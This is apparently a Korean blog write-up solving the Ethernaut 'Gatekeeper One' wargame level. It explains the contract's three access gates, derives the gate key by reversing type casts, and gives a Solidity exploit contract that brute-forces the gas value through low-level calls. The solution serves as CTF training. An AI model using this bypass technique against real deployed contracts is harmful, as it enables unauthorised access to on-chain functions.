// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
Remember what you've learned from the Telephone and Token levels.
You can learn more about the special function gasleft(), in Solidity's documentation (see here and here).
enter 함수의 true를 얻기 위하여 gate1, 2, 3 modifier를 통과해야 한다.
gate1은 tx.origin과 msg.sender가 다르면 넘어가므로 다른 CA에서 컨트랙트의 함수를 호출하면 된다.
gate2는 남아있는 gas의 값이 8191의 배수이면 넘어가므로 0부터 8191까지 브포를 때리면 쉽게 우회할 수 있을거 같다.
gate3은 _gatekey에 대한 검증을 거치므로 역연산의 과정으로 key 값을 알아내면 될거 같다.
우선 _gatekey 값을 역연산을 통해서 구하면 될거 같다.
// uint32(uint64(_gateKey)) == uint16(uint160(tx.origin);
uint16 k16 = uint16(uint160(tx.origin));
// uint32(uint64(_gateKey)) != uint64(_gateKey);
uint64 k64 = uint64(1 << 63) + uint64(k16);
// uint32(uint64(_gateKey)) == uint16(uint64(_gateKey);
bytes8 key = bytes8(k64);
최종적으로 uint16(uint160(tx.origin))이랑 일치해야 하므로 해당 값을 k16에 우선적으로 넣어준다. 그리고 두번째 조건으로는 uint32로 타입 변환된 값과 원래의 uint64 타입인 값과 달라야 하므로 uint64만 표현할 수 있는 수가 될 수 있도록 1을 64바이트 끝까지 쉬프트 연산 시켜준 다음에 k16의 값과 더해준다. 그리고 어차피 처음에 넣어준 k16 자체가 uint16이므로 uint32나 uint16이나 값은 같을 것이다. 그래서 이 값을 최종적으로 인자로 넣어줄 수 있도록 bytes8로 타입 변환 시켜주는 과정을 거쳐주면 _gatekey 값을 구할 수 있었다.
그리고 이후에 gas의 값을 브포해주면서 컨트랙트의 함수를 호출해주는 코드를 추가해준 뒤 해당 코드를 배포하면 될거 같다.
다음은 해당 시나리오를 반영한 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
function exploit() public {
// uint32(uint64(_gateKey)) == uint16(uint64(_gateKey);
// uint32(uint64(_gateKey)) != uint64(_gateKey);
// uint32(uint64(_gateKey)) == uint16(uint160(tx.origin);
GatekeeperOne target = GatekeeperOne(0x5205D564ba3D2Cc0f97B2b85C3ca18a73B678c63);
uint16 k16 = uint16(uint160(tx.origin));
uint64 k64 = uint64(1 << 63) + uint64(k16);
bytes8 key = bytes8(k64);
for (uint256 i = 0; i < 8191; i++) {
(bool success, ) = address(target).call{gas: i}(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
break;
}
}
}
}
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
브포를 할 때 함수를 call을 통해서 호출하는 이유는 브포를 하는 과정에서 분명히 require 문에 걸리면서 에러를 발새 시킬 것이다. 그렇게 되면 브포를 하다 말고 해당 과정이 중지된다. 그래서 해당 에러를 무시하고 브포를 진행할 수 있는 call 이나 try catch 문 등의 방법을 써야한다.
그런데 익스플로잇을 진행해도 다음과 같이 entrant에 여전히 값이 안 들어가 있는 것을 알 수 있다.
그래서 찾아보니 내가 블록체인 네트워크를 이용하고 함수를 호출할 때 들어가는 기타의 가스비가 존재한다. 그래서 해당 값들까지 고려를 해서 여유분의 가스비를 더 넣어주고 익스프롤잇을 진행하면 된다.
다음은 해당 시나리오를 반영한 최종 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
function exploit() public {
// uint32(uint64(_gateKey)) == uint16(uint64(_gateKey);
// uint32(uint64(_gateKey)) != uint64(_gateKey);
// uint32(uint64(_gateKey)) == uint16(uint160(tx.origin);
GatekeeperOne target = GatekeeperOne(0x5205D564ba3D2Cc0f97B2b85C3ca18a73B678c63);
uint16 k16 = uint16(uint160(tx.origin));
uint64 k64 = uint64(1 << 63) + uint64(k16);
bytes8 key = bytes8(k64);
for (uint256 i = 0; i < 8191; i++) {
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
break;
}
}
}
}
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
해당 코드를 실행하면 entrant에 나의 CA를 배포한 EOA의 주소가 들어가게 되면서 문제를 풀 수 있었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 15단계 (Naught Coin) (4) | 2023.11.23 |
---|---|
Ethernaut - 14단계 (Gatekeeper Two) (2) | 2023.11.21 |
Ethernaut - 12단계 (Privacy) (0) | 2023.11.18 |
Ethernaut - 11단계 (Elevator) (2) | 2023.11.17 |
Ethernaut - 10단계 (Re-entrancy) (0) | 2023.11.16 |